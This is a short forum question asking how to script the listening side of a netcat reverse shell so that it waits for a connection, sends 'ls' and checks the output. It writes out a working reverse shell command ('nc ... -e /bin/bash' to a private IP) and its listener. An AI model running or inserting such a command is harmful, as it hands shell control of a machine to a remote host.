Check netcat reverse shell with script

Question

I do reverse shell with netcat.

A side nc 192.168.100.113 4444 –e /bin/bash

B side nc –lvp 4444

I want to automated and check this process from B side with shell script that reverse shell really working.

In B side, after nc –lvp 4444 How can I wait until I will get a connection and than send ls command and check the result?